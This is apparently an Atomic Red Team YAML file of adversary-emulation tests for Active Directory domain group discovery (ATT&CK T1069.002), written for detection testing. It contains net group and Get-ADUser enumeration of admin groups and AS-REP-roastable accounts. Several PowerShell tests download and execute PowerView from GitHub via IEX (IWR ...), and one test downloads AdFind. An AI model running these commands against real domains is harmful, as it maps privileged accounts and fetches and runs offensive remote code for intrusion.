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atomic-red-team/atomics/T1069.002/T1069.002.yaml
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2022-03-14 17:32:49 +00:00

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YAML

attack_technique: T1069.002
display_name: 'Permission Groups Discovery: Domain Groups'
atomic_tests:
- name: Basic Permission Groups Discovery Windows (Domain)
auto_generated_guid: dd66d77d-8998-48c0-8024-df263dc2ce5d
description: |
Basic Permission Groups Discovery for Windows. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
information will be displayed.
supported_platforms:
- windows
executor:
command: |
net localgroup
net group /domain
net group "domain admins" /domain
net group "enterprise admins" /domain
name: command_prompt
- name: Permission Groups Discovery PowerShell (Domain)
auto_generated_guid: 6d5d8c96-3d2a-4da9-9d6d-9a9d341899a7
description: |
Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
information will be displayed.
supported_platforms:
- windows
input_arguments:
user:
description: User to identify what groups a user is a member of
type: String
default: administrator
executor:
command: |
get-ADPrincipalGroupMembership #{user} | select name
name: powershell
- name: Elevated group enumeration using net group (Domain)
auto_generated_guid: 0afb5163-8181-432e-9405-4322710c0c37
description: |
Runs "net group" command including command aliases and loose typing to simulate enumeration/discovery of high value domain groups. This
test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.
supported_platforms:
- windows
executor:
command: |
net group /domai "Domain Admins"
net groups "Account Operators" /doma
net groups "Exchange Organization Management" /doma
net group "BUILTIN\Backup Operators" /doma
name: command_prompt
- name: Find machines where user has local admin access (PowerView)
auto_generated_guid: a2d71eee-a353-4232-9f86-54f4288dd8c1
description: |
Find machines where user has local admin access (PowerView). Upon execution, progress and info about each host in the domain being scanned will be displayed.
supported_platforms:
- windows
executor:
command: |
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-LocalAdminAccess -Verbose
name: powershell
- name: Find local admins on all machines in domain (PowerView)
auto_generated_guid: a5f0d9f8-d3c9-46c0-8378-846ddd6b1cbd
description: |
Enumerates members of the local Administrators groups across all machines in the domain. Upon execution, information about each machine will be displayed.
supported_platforms:
- windows
executor:
command: |
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-EnumerateLocalAdmin -Verbose
name: powershell
- name: Find Local Admins via Group Policy (PowerView)
auto_generated_guid: 64fdb43b-5259-467a-b000-1b02c00e510a
description: |
takes a computer and determines who has admin rights over it through GPO enumeration. Upon execution, information about the machine will be displayed.
supported_platforms:
- windows
input_arguments:
computer_name:
description: hostname of the computer to analyze
type: Path
default: $env:COMPUTERNAME
executor:
command: |
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-GPOComputerAdmin -ComputerName #{computer_name} -Verbose"
name: powershell
- name: Enumerate Users Not Requiring Pre Auth (ASRepRoast)
auto_generated_guid: 870ba71e-6858-4f6d-895c-bb6237f6121b
description: |
When successful, accounts that do not require kerberos pre-auth will be returned
supported_platforms:
- windows
dependency_executor_name: powershell
dependencies:
- description: |
Computer must be domain joined.
prereq_command: |
if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}
get_prereq_command: |
Write-Host Joining this computer to a domain must be done manually.
- description: |
Requires the Active Directory module for powershell to be installed.
prereq_command: |
if(Get-Module -ListAvailable -Name ActiveDirectory) {exit 0} else {exit 1}
get_prereq_command: |
Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0"
executor:
name: powershell
elevation_required: false
command: |
get-aduser -f * -pr DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq $TRUE}
- name: Adfind - Query Active Directory Groups
auto_generated_guid: 48ddc687-82af-40b7-8472-ff1e742e8274
description: |
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Groups
reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
supported_platforms:
- windows
input_arguments:
adfind_path:
description: Path to the AdFind executable
type: Path
default: PathToAtomicsFolder\T1087.002\src\AdFind.exe
dependency_executor_name: powershell
dependencies:
- description: |
AdFind.exe must exist on disk at specified location (#{adfind_path})
prereq_command: |
if (Test-Path #{adfind_path}) {exit 0} else {exit 1}
get_prereq_command: |
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe" -OutFile #{adfind_path}
executor:
command: |
#{adfind_path} -f (objectcategory=group)
name: command_prompt
- name: Enumerate Active Directory Groups with Get-AdGroup
auto_generated_guid: 3d1fcd2a-e51c-4cbe-8d84-9a843bad8dc8
description: |
The following Atomic test will utilize Get-AdGroup to enumerate groups within Active Directory.
Upon successful execution a listing of groups will output with their paths in AD.
Reference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adgroup?view=windowsserver2022-ps
supported_platforms:
- windows
executor:
name: powershell
command: |
Get-AdGroup -Filter *
- name: Enumerate Active Directory Groups with ADSISearcher
auto_generated_guid: 9f4e344b-8434-41b3-85b1-d38f29d148d0
description: |
The following Atomic test will utilize ADSISearcher to enumerate groups within Active Directory.
Upon successful execution a listing of groups will output with their paths in AD.
Reference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/
supported_platforms:
- windows
executor:
name: powershell
elevation_required: false
command: |
([adsisearcher]"objectcategory=group").FindAll(); ([adsisearcher]"objectcategory=group").FindOne()
- name: Get-ADUser Enumeration using UserAccountControl flags (AS-REP Roasting)
auto_generated_guid: 43fa81fb-34bb-4b5f-867b-03c7dbe0e3d8
description: |
When successful, accounts that do not require kerberos pre-auth will be returned.
Reference: https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html
supported_platforms:
- windows
dependency_executor_name: powershell
dependencies:
- description: |
Computer must be domain joined.
prereq_command: |
if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}
get_prereq_command: |
Write-Host Joining this computer to a domain must be done manually.
- description: |
Requires the Active Directory module for powershell to be installed.
prereq_command: |
if(Get-Module -ListAvailable -Name ActiveDirectory) {exit 0} else {exit 1}
get_prereq_command: |
Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0"
executor:
name: powershell
elevation_required: false
command: |
Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name
- name: Get-DomainGroupMember with PowerView
auto_generated_guid: 46352f40-f283-4fe5-b56d-d9a71750e145
description: |
Utilizing PowerView, run Get-DomainGroupMember to identify domain users. Upon execution, progress and info about groups within the domain being scanned will be displayed.
supported_platforms:
- windows
executor:
command: |
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroupMember "Domain Admins"
name: powershell
- name: Get-DomainGroup with PowerView
auto_generated_guid: 5a8a181c-2c8e-478d-a943-549305a01230
description: |
Utilizing PowerView, run Get-DomainGroup to identify the domain groups. Upon execution, Groups within the domain will be listed.
supported_platforms:
- windows
executor:
command: |
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroup -verbose
name: powershell